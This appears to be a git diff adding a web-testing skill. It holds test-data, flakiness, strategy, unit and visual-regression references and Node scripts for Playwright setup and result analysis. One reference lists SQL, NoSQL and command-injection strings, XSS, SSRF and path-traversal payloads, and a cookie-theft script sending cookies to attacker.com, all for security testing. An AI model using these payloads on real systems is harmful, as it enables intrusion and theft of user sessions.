name: faker.person.fullName(),
|
||||
email: faker.internet.email(),
|
||||
role: 'user',
|
||||
}));
|
||||
|
||||
// Usage
|
||||
const user = userFactory.build();
|
||||
const admin = userFactory.build({ role: 'admin' });
|
||||
const users = userFactory.buildList(5);
|
||||
```
|
||||
|
||||
## Factory with Associations
|
||||
|
||||
```typescript
|
||||
const postFactory = Factory.define<Post>(({ associations }) => ({
|
||||
id: faker.string.uuid(),
|
||||
title: faker.lorem.sentence(),
|
||||
author: associations.author || userFactory.build(),
|
||||
}));
|
||||
|
||||
const post = postFactory.build({
|
||||
author: userFactory.build({ role: 'admin' }),
|
||||
});
|
||||
```
|
||||
|
||||
## Fixtures (Static Baseline Data)
|
||||
|
||||
```typescript
|
||||
// fixtures/users.ts
|
||||
export const testUsers = {
|
||||
admin: {
|
||||
id: 'admin-001',
|
||||
email: 'admin@test.com',
|
||||
role: 'admin',
|
||||
},
|
||||
member: {
|
||||
id: 'member-001',
|
||||
email: 'member@test.com',
|
||||
role: 'member',
|
||||
},
|
||||
};
|
||||
|
||||
// In tests
|
||||
import { testUsers } from './fixtures/users';
|
||||
```
|
||||
|
||||
## Combined Pattern (Fixtures + Factories)
|
||||
|
||||
```typescript
|
||||
// Baseline fixtures for known states
|
||||
const baseUser = testUsers.admin;
|
||||
|
||||
// Factory for dynamic variations
|
||||
const dynamicUser = userFactory.build({
|
||||
...baseUser,
|
||||
email: faker.internet.email(), // Override specific fields
|
||||
});
|
||||
```
|
||||
|
||||
## Database Seeding
|
||||
|
||||
```typescript
|
||||
// seed.ts
|
||||
async function seedTestData(db: Database, workerIndex: number) {
|
||||
// Worker-isolated data
|
||||
const prefix = `w${workerIndex}`;
|
||||
|
||||
await db.users.insertMany([
|
||||
{ id: `${prefix}-user-1`, email: `user1-${prefix}@test.com` },
|
||||
{ id: `${prefix}-user-2`, email: `user2-${prefix}@test.com` },
|
||||
]);
|
||||
}
|
||||
|
||||
async function clearTestData(db: Database, workerIndex: number) {
|
||||
const prefix = `w${workerIndex}`;
|
||||
await db.users.deleteMany({ id: { $regex: `^${prefix}` } });
|
||||
}
|
||||
```
|
||||
|
||||
## Best Practices
|
||||
|
||||
- **Reproducibility:** Seed Faker for consistent test data
|
||||
- **Isolation:** Prefix data with worker index for parallelism
|
||||
- **Cleanup:** Always clean up in afterEach/afterAll
|
||||
- **Minimal data:** Only create what's needed for test
|
||||
- **Type safety:** Type your factories
|
||||
|
||||
## Anti-Patterns
|
||||
|
||||
```typescript
|
||||
// BAD: Hardcoded values
|
||||
const user = { email: 'test@test.com' }; // Collisions!
|
||||
|
||||
// GOOD: Dynamic generation
|
||||
const user = { email: faker.internet.email() };
|
||||
|
||||
// BAD: Shared mutable state
|
||||
let globalUser;
|
||||
beforeAll(() => { globalUser = createUser(); });
|
||||
|
||||
// GOOD: Fresh data per test
|
||||
beforeEach(() => { user = userFactory.build(); });
|
||||
```
|
||||
@@ -0,0 +1,86 @@
|
||||
# Test Flakiness Mitigation
|
||||
|
||||
## Root Causes
|
||||
|
||||
- Timing mismatches (hard waits)
|
||||
- Non-isolated tests (shared state)
|
||||
- Network instability
|
||||
- Animation timing
|
||||
|
||||
## Explicit Waits (Not Hard Waits)
|
||||
|
||||
```javascript
|
||||
// BAD: Hard wait
|
||||
await new Promise(r => setTimeout(r, 500));
|
||||
|
||||
// GOOD: Wait for condition
|
||||
await page.waitForSelector('.success', { timeout: 10000 });
|
||||
await expect(page.locator('.count')).toContainText('5');
|
||||
|
||||
// BEST: Playwright auto-wait
|
||||
await page.getByRole('button', { name: /submit/i }).click();
|
||||
```
|
||||
|
||||
## Wait Timeout Guidelines
|
||||
|
||||
| Scenario | Timeout |
|
||||
|----------|---------|
|
||||
| Page load | 10-15s |
|
||||
| Element visibility | 5-10s |
|
||||
| API responses | 30-60s |
|
||||
|
||||
## Retry Strategies
|
||||
|
||||
```javascript
|
||||
// Playwright built-in
|
||||
test.describe.configure({ retries: 3 });
|
||||
|
||||
// Per-test
|
||||
test('flaky test', async ({ page }) => { /* */ }, { retries: 3 });
|
||||
|
||||
// Exponential backoff
|
||||
async function retryWithBackoff(fn, maxRetries = 3) {
|
||||
for (let i = 0; i < maxRetries; i++) {
|
||||
try { return await fn(); }
|
||||
catch (e) {
|
||||
if (i === maxRetries - 1) throw e;
|
||||
await new Promise(r => setTimeout(r, Math.pow(2, i) * 1000));
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Test Isolation
|
||||
|
||||
```javascript
|
||||
// BAD: Dependent tests
|
||||
let userId;
|
||||
test('create', async () => { userId = await createUser(); });
|
||||
test('load', async () => { await loadUser(userId); }); // Depends on previous!
|
||||
|
||||
// GOOD: Independent
|
||||
test('create and load', async ({ page }) => {
|
||||
const userId = await createUser(page);
|
||||
await loadUser(page, userId);
|
||||
});
|
||||
```
|
||||
|
||||
## Disable Animations
|
||||
|
||||
```css
|
||||
* { animation-duration: 0s !important; transition-duration: 0s !important; }
|
||||
```
|
||||
|
||||
## Network Stability
|
||||
|
||||
```javascript
|
||||
await page.route('**/external-api/**', route =>
|
||||
route.fulfill({ status: 200, body: '{}' })
|
||||
);
|
||||
```
|
||||
|
||||
## Flakiness Detection
|
||||
|
||||
```bash
|
||||
npx playwright test --repeat-each=5
|
||||
```
|
||||
@@ -0,0 +1,76 @@
|
||||
# Testing Strategy Models
|
||||
|
||||
## Model Comparison
|
||||
|
||||
| Model | Structure | Best For |
|
||||
|-------|-----------|----------|
|
||||
| Pyramid | Unit 70% > Integration 20% > E2E 10% | Monoliths, logic-heavy |
|
||||
| Trophy (Dodds) | Static > Integration (largest) > Unit > E2E | Modern SPAs |
|
||||
| Honeycomb (Spotify) | Contract-centric cells | Microservices |
|
||||
| Diamond | Balanced unit/integration | Domain services |
|
||||
|
||||
## Testing Trophy (Recommended for SPAs)
|
||||
|
||||
```
|
||||
E2E (minimal)
|
||||
/------------\
|
||||
/ Integration \ <-- Largest portion
|
||||
/----------------\
|
||||
/ Unit Tests \
|
||||
/--------------------\
|
||||
/ Static Analysis \ <-- Foundation
|
||||
/________________________\
|
||||
```
|
||||
|
||||
**Philosophy:** "The more your tests resemble how software is used, the more confidence they give you." - Kent C. Dodds
|
||||
|
||||
**Key Principles:**
|
||||
- Test behavior, not implementation
|
||||
- Minimize mocking
|
||||
- Prioritize integration tests
|
||||
- Use accessible queries (getByRole first)
|
||||
|
||||
## Testing Honeycomb (Microservices)
|
||||
|
||||
Contract testing at center, interconnected cells for:
|
||||
- Unit tests (implementation details)
|
||||
- Integration tests (service boundaries)
|
||||
- Contract tests (API agreements)
|
||||
- E2E tests (critical paths only)
|
||||
|
||||
## Ratios by Context
|
||||
|
||||
| Context | Unit | Integration | E2E |
|
||||
|---------|------|-------------|-----|
|
||||
| Classic Pyramid | 70% | 20% | 10% |
|
||||
| Testing Trophy | 30% | 50% | 10% |
|
||||
| API-heavy | 75% | 15% | 10% |
|
||||
| Microservices | 40% | 40% | 20% |
|
||||
|
||||
## Priority Matrix
|
||||
|
||||
| Priority | Category | Examples |
|
||||
|----------|----------|----------|
|
||||
| P0 | Core flows | Signup, login, checkout, payment |
|
||||
| P1 | Major features | Search, CRUD, navigation |
|
||||
| P2 | Secondary | Filters, sorting, pagination |
|
||||
| P3 | Edge cases | Empty states, max limits |
|
||||
|
||||
## Coverage Targets
|
||||
|
||||
| Area | Target |
|
||||
|------|--------|
|
||||
| Critical paths | 100% |
|
||||
| Core features | 80-90% |
|
||||
| Overall | 75-85% |
|
||||
|
||||
**Note:** Coverage as diagnostic, not target. Focus on what's uncovered.
|
||||
|
||||
## CI/CD Order
|
||||
|
||||
```yaml
|
||||
- run: npm run lint # Gate 0: Static analysis
|
||||
- run: npm run test:unit # Gate 1: Fast fail
|
||||
- run: npm run test:integration # Gate 2
|
||||
- run: npm run test:e2e # Gate 3: Pre-merge
|
||||
```
|
||||
@@ -0,0 +1,138 @@
|
||||
# Unit & Integration Testing
|
||||
|
||||
## Framework Comparison
|
||||
|
||||
| Framework | Speed | Best For |
|
||||
|-----------|-------|----------|
|
||||
| Vitest | Fastest | Modern projects, Vite |
|
||||
| Jest | Fast | React/CRA legacy |
|
||||
| Bun test | Ultra-fast | Bun projects |
|
||||
|
||||
## Vitest Setup
|
||||
|
||||
```typescript
|
||||
// vitest.config.ts
|
||||
export default defineConfig({
|
||||
test: {
|
||||
environment: 'jsdom', // or 'happy-dom'
|
||||
globals: true,
|
||||
coverage: { reporter: ['text', 'json', 'html'] },
|
||||
},
|
||||
});
|
||||
```
|
||||
|
||||
## Vitest Browser Mode (Real Browser)
|
||||
|
||||
```typescript
|
||||
// vitest.config.ts - higher fidelity than jsdom
|
||||
export default defineConfig({
|
||||
test: {
|
||||
browser: {
|
||||
enabled: true,
|
||||
name: 'chromium',
|
||||
provider: 'playwright',
|
||||
},
|
||||
},
|
||||
});
|
||||
```
|
||||
|
||||
**When to use:** Complex DOM interactions, CSS testing, browser APIs
|
||||
|
||||
## Test Structure (AAA)
|
||||
|
||||
```typescript
|
||||
import { describe, it, expect, beforeEach } from 'vitest';
|
||||
|
||||
describe('UserService', () => {
|
||||
let service: UserService;
|
||||
|
||||
beforeEach(() => {
|
||||
service = new UserService();
|
||||
});
|
||||
|
||||
it('creates user with valid data', () => {
|
||||
// Arrange
|
||||
const userData = { email: 'test@example.com' };
|
||||
|
||||
// Act
|
||||
const user = service.create(userData);
|
||||
|
||||
// Assert
|
||||
expect(user.id).toBeDefined();
|
||||
expect(user.email).toBe('test@example.com');
|
||||
});
|
||||
|
||||
it('throws on invalid email', () => {
|
||||
expect(() => service.create({ email: 'invalid' }))
|
||||
.toThrow('Invalid email');
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
## Integration Test
|
||||
|
||||
```typescript
|
||||
describe('User API', () => {
|
||||
let db: Database;
|
||||
|
||||
beforeAll(async () => {
|
||||
db = new Database(':memory:');
|
||||
await db.migrate();
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await db.clearAllTables();
|
||||
});
|
||||
|
||||
it('persists and retrieves user', async () => {
|
||||
await db.users.insert({ email: 'test@example.com' });
|
||||
const user = await db.users.findOne({ email: 'test@example.com' });
|
||||
expect(user).toBeDefined();
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
## Test Naming
|
||||
|
||||
```typescript
|
||||
// Good - describes behavior
|
||||
it('should return 200 when valid token provided');
|
||||
it('should throw ValidationError when email invalid');
|
||||
|
||||
// Bad - vague
|
||||
it('test1');
|
||||
it('works');
|
||||
```
|
||||
|
||||
## Mocking
|
||||
|
||||
```typescript
|
||||
import { vi } from 'vitest';
|
||||
|
||||
// Mock module
|
||||
vi.mock('./api', () => ({
|
||||
fetchUser: vi.fn().mockResolvedValue({ name: 'John' })
|
||||
}));
|
||||
|
||||
// Spy
|
||||
const spy = vi.spyOn(console, 'log');
|
||||
expect(spy).toHaveBeenCalledWith('message');
|
||||
```
|
||||
|
||||
## Coverage Targets
|
||||
|
||||
| Area | Target |
|
||||
|------|--------|
|
||||
| Critical paths | 100% |
|
||||
| Core features | 80-90% |
|
||||
| Overall | 75-85% |
|
||||
|
||||
## Commands
|
||||
|
||||
```bash
|
||||
npx vitest run # Run all
|
||||
npx vitest # Watch mode
|
||||
npx vitest run --coverage # Coverage
|
||||
npx vitest run -u # Update snapshots
|
||||
npx vitest --browser # Browser mode
|
||||
```
|
||||
92
.opencode/skills/web-testing/references/visual-regression.md
Normal file
92
.opencode/skills/web-testing/references/visual-regression.md
Normal file
@@ -0,0 +1,92 @@
|
||||
# Visual Regression Testing
|
||||
|
||||
## Playwright Screenshot Comparison
|
||||
|
||||
```typescript
|
||||
import { test, expect } from '@playwright/test';
|
||||
|
||||
test('homepage visual', async ({ page }) => {
|
||||
await page.goto('http://localhost:3000');
|
||||
await expect(page).toHaveScreenshot('homepage.png');
|
||||
});
|
||||
|
||||
test('component visual', async ({ page }) => {
|
||||
await page.goto('http://localhost:3000');
|
||||
const header = page.locator('header');
|
||||
await expect(header).toHaveScreenshot('header.png');
|
||||
});
|
||||
|
||||
test('with threshold', async ({ page }) => {
|
||||
await page.goto('http://localhost:3000');
|
||||
await expect(page).toHaveScreenshot('page.png', {
|
||||
maxDiffPixels: 100,
|
||||
maxDiffPixelRatio: 0.01,
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
## Configuration
|
||||
|
||||
```typescript
|
||||
// playwright.config.ts
|
||||
export default defineConfig({
|
||||
expect: {
|
||||
toHaveScreenshot: { maxDiffPixels: 50, threshold: 0.2 },
|
||||
},
|
||||
projects: [
|
||||
{ name: 'chromium', use: { ...devices['Desktop Chrome'] } },
|
||||
{ name: 'mobile', use: { ...devices['iPhone 12'] } },
|
||||
],
|
||||
});
|
||||
```
|
||||
|
||||
## Commands
|
||||
|
||||
```bash
|
||||
npx playwright test --update-snapshots # Update all
|
||||
npx playwright test visual.spec.ts -u # Update specific
|
||||
```
|
||||
|
||||
## Workflow
|
||||
|
||||
1. **Baseline**: First run creates reference screenshots
|
||||
2. **Compare**: Subsequent runs compare against baseline
|
||||
3. **Review**: Check diff images on failure
|
||||
4. **Approve**: Update snapshots if change is intentional
|
||||
|
||||
## Best Practices
|
||||
|
||||
- Test critical UI components individually
|
||||
- Use consistent viewport sizes
|
||||
- Disable animations: `animation-duration: 0s !important`
|
||||
- Mock dynamic content (dates, random data)
|
||||
- Run on CI with consistent environment
|
||||
|
||||
## Third-Party Tools
|
||||
|
||||
| Tool | Use Case |
|
||||
|------|----------|
|
||||
| Percy | Cloud-based, BrowserStack integration |
|
||||
| Chromatic | Storybook visual testing |
|
||||
| Playwright | Built-in, no vendor lock-in |
|
||||
|
||||
## CI Integration
|
||||
|
||||
```yaml
|
||||
- name: Visual Tests
|
||||
run: npx playwright test --grep @visual
|
||||
- uses: actions/upload-artifact@v4
|
||||
if: failure()
|
||||
with:
|
||||
name: visual-diffs
|
||||
path: test-results/
|
||||
```
|
||||
|
||||
## Visual vs Accessibility
|
||||
|
||||
| Aspect | Visual | Accessibility |
|
||||
|--------|--------|---------------|
|
||||
| Catches | Layout, colors | Semantic, ARIA |
|
||||
| Method | Pixel diff | DOM analysis |
|
||||
|
||||
**Use both**: Visual misses semantic issues, a11y misses layout bugs.
|
||||
@@ -0,0 +1,93 @@
|
||||
# Vulnerability Test Payloads
|
||||
|
||||
## SQL Injection
|
||||
|
||||
### Text Input
|
||||
```
|
||||
' OR '1'='1
|
||||
' OR 1=1 --
|
||||
'; DROP TABLE users; --
|
||||
' UNION SELECT NULL, NULL --
|
||||
```
|
||||
|
||||
### Numeric Input
|
||||
```
|
||||
1 OR 1=1
|
||||
1; DELETE FROM users; --
|
||||
```
|
||||
|
||||
### Blind (Time-based)
|
||||
```
|
||||
' OR SLEEP(5) --
|
||||
' AND (SELECT(SLEEP(5)))a --
|
||||
```
|
||||
|
||||
## XSS (Cross-Site Scripting)
|
||||
|
||||
### Reflected
|
||||
```html
|
||||
<script>alert('XSS')</script>
|
||||
<img src=x onerror=alert('XSS')>
|
||||
<svg/onload=alert('XSS')>
|
||||
"><script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
### DOM-based
|
||||
```
|
||||
javascript:alert('XSS')
|
||||
<iframe src="javascript:alert('XSS')"></iframe>
|
||||
```
|
||||
|
||||
### Cookie Theft
|
||||
```html
|
||||
<script>fetch('http://attacker.com/?c='+document.cookie)</script>
|
||||
```
|
||||
|
||||
## NoSQL Injection (MongoDB)
|
||||
|
||||
```json
|
||||
{"$ne": null}
|
||||
{"$gt": ""}
|
||||
{"$regex": ".*"}
|
||||
{"$where": "1==1"}
|
||||
```
|
||||
|
||||
## Command Injection
|
||||
|
||||
```
|
||||
; ls -la
|
||||
| whoami
|
||||
`whoami`
|
||||
$(whoami)
|
||||
```
|
||||
|
||||
## SSRF
|
||||
|
||||
```
|
||||
http://localhost/admin
|
||||
http://127.0.0.1/admin
|
||||
http://169.254.169.254/ # AWS metadata
|
||||
```
|
||||
|
||||
## Path Traversal
|
||||
|
||||
```
|
||||
../../../etc/passwd
|
||||
..%2F..%2F..%2Fetc%2Fpasswd
|
||||
```
|
||||
|
||||
## CSRF Testing
|
||||
|
||||
1. Submit form without CSRF token
|
||||
2. Reuse captured token multiple times
|
||||
3. Modify/remove token parameter
|
||||
|
||||
## Testing Tools
|
||||
|
||||
```bash
|
||||
# SQLMap
|
||||
sqlmap -u "http://example.com/page?id=1" --dbs
|
||||
|
||||
# OWASP ZAP active scan
|
||||
zap-cli active-scan http://example.com
|
||||
```
|
||||
280
.opencode/skills/web-testing/scripts/analyze-test-results.js
Executable file
280
.opencode/skills/web-testing/scripts/analyze-test-results.js
Executable file
@@ -0,0 +1,280 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* Analyze and summarize test results from multiple formats
|
||||
* Usage: node analyze-test-results.js [options]
|
||||
*
|
||||
* Options:
|
||||
* --playwright <path> Path to Playwright JSON results
|
||||
* --vitest <path> Path to Vitest JSON results
|
||||
* --junit <path> Path to JUnit XML results
|
||||
* --output <format> Output format: text, json, markdown (default: text)
|
||||
* --fail-threshold <n> Exit with code 1 if pass rate below n% (default: 0)
|
||||
*/
|
||||
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
// Parse arguments
|
||||
const args = process.argv.slice(2);
|
||||
function getArg(name) {
|
||||
const index = args.indexOf(`--${name}`);
|
||||
return index !== -1 ? args[index + 1] : null;
|
||||
}
|
||||
|
||||
const playwrightPath = getArg('playwright');
|
||||
const vitestPath = getArg('vitest');
|
||||
const junitPath = getArg('junit');
|
||||
const outputFormat = getArg('output') || 'text';
|
||||
const failThreshold = parseInt(getArg('fail-threshold') || '0', 10);
|
||||
|
||||
// Result aggregator
|
||||
const summary = {
|
||||
total: 0,
|
||||
passed: 0,
|
||||
failed: 0,
|
||||
skipped: 0,
|
||||
flaky: 0,
|
||||
duration: 0,
|
||||
suites: [],
|
||||
failures: [],
|
||||
};
|
||||
|
||||
// Parse Playwright JSON results
|
||||
function parsePlaywright(filePath) {
|
||||
if (!fs.existsSync(filePath)) {
|
||||
console.error(`Playwright results not found: ${filePath}`);
|
||||
return;
|
||||
}
|
||||
|
||||
const data = JSON.parse(fs.readFileSync(filePath, 'utf-8'));
|
||||
|
||||
for (const suite of data.suites || []) {
|
||||
parseSuite(suite, 'playwright');
|
||||
}
|
||||
|
||||
summary.duration += data.stats?.duration || 0;
|
||||
}
|
||||
|
||||
function parseSuite(suite, source) {
|
||||
const suiteSummary = {
|
||||
name: suite.title || suite.file || 'Unknown',
|
||||
source,
|
||||
passed: 0,
|
||||
failed: 0,
|
||||
skipped: 0,
|
||||
};
|
||||
|
||||
for (const spec of suite.specs || []) {
|
||||
for (const test of spec.tests || []) {
|
||||
summary.total++;
|
||||
suiteSummary[test.status === 'expected' ? 'passed' : test.status]++;
|
||||
|
||||
if (test.status === 'expected') {
|
||||
summary.passed++;
|
||||
} else if (test.status === 'unexpected') {
|
||||
summary.failed++;
|
||||
summary.failures.push({
|
||||
name: `${suite.title} > ${spec.title}`,
|
||||
source,
|
||||
error: test.results?.[0]?.error?.message || 'Unknown error',
|
||||
});
|
||||
} else if (test.status === 'skipped') {
|
||||
summary.skipped++;
|
||||
} else if (test.status === 'flaky') {
|
||||
summary.flaky++;
|
||||
summary.passed++; // Flaky tests that eventually passed
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Recurse into nested suites
|
||||
for (const child of suite.suites || []) {
|
||||
parseSuite(child, source);
|
||||
}
|
||||
|
||||
if (suiteSummary.passed + suiteSummary.failed + suiteSummary.skipped > 0) {
|
||||
summary.suites.push(suiteSummary);
|
||||
}
|
||||
}
|
||||
|
||||
// Parse Vitest JSON results
|
||||
function parseVitest(filePath) {
|
||||
if (!fs.existsSync(filePath)) {
|
||||
console.error(`Vitest results not found: ${filePath}`);
|
||||
return;
|
||||
}
|
||||
|
||||
const data = JSON.parse(fs.readFileSync(filePath, 'utf-8'));
|
||||
|
||||
for (const file of data.testResults || []) {
|
||||
const suiteSummary = {
|
||||
name: path.basename(file.name),
|
||||
source: 'vitest',
|
||||
passed: 0,
|
||||
failed: 0,
|
||||
skipped: 0,
|
||||
};
|
||||
|
||||
for (const test of file.assertionResults || []) {
|
||||
summary.total++;
|
||||
|
||||
if (test.status === 'passed') {
|
||||
summary.passed++;
|
||||
suiteSummary.passed++;
|
||||
} else if (test.status === 'failed') {
|
||||
summary.failed++;
|
||||
suiteSummary.failed++;
|
||||
summary.failures.push({
|
||||
name: test.fullName || test.title,
|
||||
source: 'vitest',
|
||||
error: test.failureMessages?.[0] || 'Unknown error',
|
||||
});
|
||||
} else if (test.status === 'skipped' || test.status === 'pending') {
|
||||
summary.skipped++;
|
||||
suiteSummary.skipped++;
|
||||
}
|
||||
}
|
||||
|
||||
summary.suites.push(suiteSummary);
|
||||
}
|
||||
|
||||
summary.duration += data.startTime
|
||||
? Date.now() - data.startTime
|
||||
: 0;
|
||||
}
|
||||
|
||||
// Parse JUnit XML results
|
||||
function parseJunit(filePath) {
|
||||
if (!fs.existsSync(filePath)) {
|
||||
console.error(`JUnit results not found: ${filePath}`);
|
||||
return;
|
||||
}
|
||||
|
||||
const xml = fs.readFileSync(filePath, 'utf-8');
|
||||
|
||||
// Simple XML parsing (avoid external dependencies)
|
||||
const testsuites = xml.match(/<testsuite[^>]*>/g) || [];
|
||||
|
||||
for (const testsuite of testsuites) {
|
||||
const name = testsuite.match(/name="([^"]+)"/)?.[1] || 'Unknown';
|
||||
const tests = parseInt(testsuite.match(/tests="(\d+)"/)?.[1] || '0', 10);
|
||||
const failures = parseInt(testsuite.match(/failures="(\d+)"/)?.[1] || '0', 10);
|
||||
const skipped = parseInt(testsuite.match(/skipped="(\d+)"/)?.[1] || '0', 10);
|
||||
const time = parseFloat(testsuite.match(/time="([\d.]+)"/)?.[1] || '0');
|
||||
|
||||
summary.total += tests;
|
||||
summary.passed += tests - failures - skipped;
|
||||
summary.failed += failures;
|
||||
summary.skipped += skipped;
|
||||
summary.duration += time * 1000;
|
||||
|
||||
summary.suites.push({
|
||||
name,
|
||||
source: 'junit',
|
||||
passed: tests - failures - skipped,
|
||||
failed: failures,
|
||||
skipped,
|
||||
});
|
||||
}
|
||||
|
||||
// Extract failure details
|
||||
const failureMatches = xml.matchAll(/<testcase[^>]*name="([^"]+)"[^>]*>[\s\S]*?<failure[^>]*>([\s\S]*?)<\/failure>/g);
|
||||
for (const match of failureMatches) {
|
||||
summary.failures.push({
|
||||
name: match[1],
|
||||
source: 'junit',
|
||||
error: match[2].trim().slice(0, 200),
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// Output formatters
|
||||
function outputText() {
|
||||
const passRate = summary.total > 0
|
||||
? ((summary.passed / summary.total) * 100).toFixed(1)
|
||||
: 0;
|
||||
|
||||
console.log('\n📊 Test Results Summary');
|
||||
console.log('='.repeat(50));
|
||||
console.log(`Total: ${summary.total}`);
|
||||
console.log(`Passed: ${summary.passed} ✅`);
|
||||
console.log(`Failed: ${summary.failed} ❌`);
|
||||
console.log(`Skipped: ${summary.skipped} ⏭️`);
|
||||
if (summary.flaky > 0) {
|
||||
console.log(`Flaky: ${summary.flaky} ⚠️`);
|
||||
}
|
||||
console.log(`Pass Rate: ${passRate}%`);
|
||||
console.log(`Duration: ${(summary.duration / 1000).toFixed(2)}s`);
|
||||
|
||||
if (summary.failures.length > 0) {
|
||||
console.log('\n❌ Failures:');
|
||||
for (const failure of summary.failures.slice(0, 10)) {
|
||||
console.log(` - [${failure.source}] ${failure.name}`);
|
||||
console.log(` ${failure.error.slice(0, 100)}...`);
|
||||
}
|
||||
if (summary.failures.length > 10) {
|
||||
console.log(` ... and ${summary.failures.length - 10} more`);
|
||||
}
|
||||
}
|
||||
|
||||
console.log('');
|
||||
}
|
||||
|
||||
function outputJson() {
|
||||
console.log(JSON.stringify(summary, null, 2));
|
||||
}
|
||||
|
||||
function outputMarkdown() {
|
||||
const passRate = summary.total > 0
|
||||
? ((summary.passed / summary.total) * 100).toFixed(1)
|
||||
: 0;
|
||||
|
||||
console.log('## Test Results Summary\n');
|
||||
console.log('| Metric | Value |');
|
||||
console.log('|--------|-------|');
|
||||
console.log(`| Total | ${summary.total} |`);
|
||||
console.log(`| Passed | ${summary.passed} ✅ |`);
|
||||
console.log(`| Failed | ${summary.failed} ❌ |`);
|
||||
console.log(`| Skipped | ${summary.skipped} |`);
|
||||
console.log(`| Pass Rate | ${passRate}% |`);
|
||||
console.log(`| Duration | ${(summary.duration / 1000).toFixed(2)}s |`);
|
||||
|
||||
if (summary.failures.length > 0) {
|
||||
console.log('\n### Failures\n');
|
||||
for (const failure of summary.failures.slice(0, 10)) {
|
||||
console.log(`- **[${failure.source}]** ${failure.name}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Main execution
|
||||
if (playwrightPath) parsePlaywright(playwrightPath);
|
||||
if (vitestPath) parseVitest(vitestPath);
|
||||
if (junitPath) parseJunit(junitPath);
|
||||
|
||||
if (summary.total === 0) {
|
||||
console.log('No test results found. Specify at least one input:');
|
||||
console.log(' --playwright <path> Playwright JSON results');
|
||||
console.log(' --vitest <path> Vitest JSON results');
|
||||
console.log(' --junit <path> JUnit XML results');
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
// Output results
|
||||
switch (outputFormat) {
|
||||
case 'json':
|
||||
outputJson();
|
||||
break;
|
||||
case 'markdown':
|
||||
outputMarkdown();
|
||||
break;
|
||||
default:
|
||||
outputText();
|
||||
}
|
||||
|
||||
// Check threshold
|
||||
const passRate = (summary.passed / summary.total) * 100;
|
||||
if (failThreshold > 0 && passRate < failThreshold) {
|
||||
console.error(`\n❌ Pass rate ${passRate.toFixed(1)}% below threshold ${failThreshold}%`);
|
||||
process.exit(1);
|
||||
}
|
||||
233
.opencode/skills/web-testing/scripts/init-playwright.js
Executable file
233
.opencode/skills/web-testing/scripts/init-playwright.js
Executable file
@@ -0,0 +1,233 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* Initialize Playwright with best-practice configuration
|
||||
* Usage: node init-playwright.js [--ct] [--dir <path>]
|
||||
*
|
||||
* Options:
|
||||
* --ct Include component testing setup
|
||||
* --dir Target directory (default: current directory)
|
||||
*/
|
||||
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
// Parse arguments
|
||||
const args = process.argv.slice(2);
|
||||
const includeComponentTesting = args.includes('--ct');
|
||||
const dirIndex = args.indexOf('--dir');
|
||||
const targetDir = dirIndex !== -1 ? args[dirIndex + 1] : process.cwd();
|
||||
|
||||
// Configuration templates
|
||||
const playwrightConfig = `import { defineConfig, devices } from '@playwright/test';
|
||||
|
||||
export default defineConfig({
|
||||
testDir: './tests/e2e',
|
||||
fullyParallel: true,
|
||||
forbidOnly: !!process.env.CI,
|
||||
retries: process.env.CI ? 2 : 0,
|
||||
workers: process.env.CI ? 1 : undefined,
|
||||
reporter: [
|
||||
['html', { open: 'never' }],
|
||||
['json', { outputFile: 'test-results/results.json' }],
|
||||
],
|
||||
use: {
|
||||
baseURL: process.env.BASE_URL || 'http://localhost:3000',
|
||||
trace: 'on-first-retry',
|
||||
screenshot: 'only-on-failure',
|
||||
video: 'retain-on-failure',
|
||||
},
|
||||
projects: [
|
||||
{ name: 'chromium', use: { ...devices['Desktop Chrome'] } },
|
||||
{ name: 'firefox', use: { ...devices['Desktop Firefox'] } },
|
||||
{ name: 'webkit', use: { ...devices['Desktop Safari'] } },
|
||||
{ name: 'mobile-chrome', use: { ...devices['Pixel 5'] } },
|
||||
{ name: 'mobile-safari', use: { ...devices['iPhone 12'] } },
|
||||
],
|
||||
webServer: {
|
||||
command: 'npm run dev',
|
||||
url: 'http://localhost:3000',
|
||||
reuseExistingServer: !process.env.CI,
|
||||
timeout: 120 * 1000,
|
||||
},
|
||||
});
|
||||
`;
|
||||
|
||||
const authFixture = `import { test as base, expect, Page } from '@playwright/test';
|
||||
|
||||
type AuthFixtures = {
|
||||
authenticatedPage: Page;
|
||||
};
|
||||
|
||||
export const test = base.extend<AuthFixtures>({
|
||||
authenticatedPage: async ({ browser, request }, use, testInfo) => {
|
||||
// API-based authentication (faster than UI login)
|
||||
const response = await request.post('/api/auth/login', {
|
||||
data: {
|
||||
email: process.env.TEST_USER_EMAIL || 'test@example.com',
|
||||
password: process.env.TEST_USER_PASSWORD || 'password',
|
||||
},
|
||||
});
|
||||
|
||||
if (!response.ok()) {
|
||||
throw new Error(\`Auth failed: \${response.status()}\`);
|
||||
}
|
||||
|
||||
const { token } = await response.json();
|
||||
const context = await browser.newContext();
|
||||
|
||||
// Set auth cookie/header
|
||||
await context.addCookies([
|
||||
{
|
||||
name: 'auth-token',
|
||||
value: token,
|
||||
domain: 'localhost',
|
||||
path: '/',
|
||||
},
|
||||
]);
|
||||
|
||||
const page = await context.newPage();
|
||||
await use(page);
|
||||
await context.close();
|
||||
},
|
||||
});
|
||||
|
||||
export { expect };
|
||||
`;
|
||||
|
||||
const exampleTest = `import { test, expect } from '@playwright/test';
|
||||
|
||||
test.describe('Homepage', () => {
|
||||
test('should load successfully', async ({ page }) => {
|
||||
await page.goto('/');
|
||||
await expect(page).toHaveTitle(/./);
|
||||
});
|
||||
|
||||
test('should have navigation', async ({ page }) => {
|
||||
await page.goto('/');
|
||||
const nav = page.getByRole('navigation');
|
||||
await expect(nav).toBeVisible();
|
||||
});
|
||||
});
|
||||
|
||||
test.describe('Accessibility', () => {
|
||||
test('homepage passes axe checks', async ({ page }) => {
|
||||
await page.goto('/');
|
||||
// Install @axe-core/playwright for full accessibility testing
|
||||
// const results = await new AxeBuilder({ page }).analyze();
|
||||
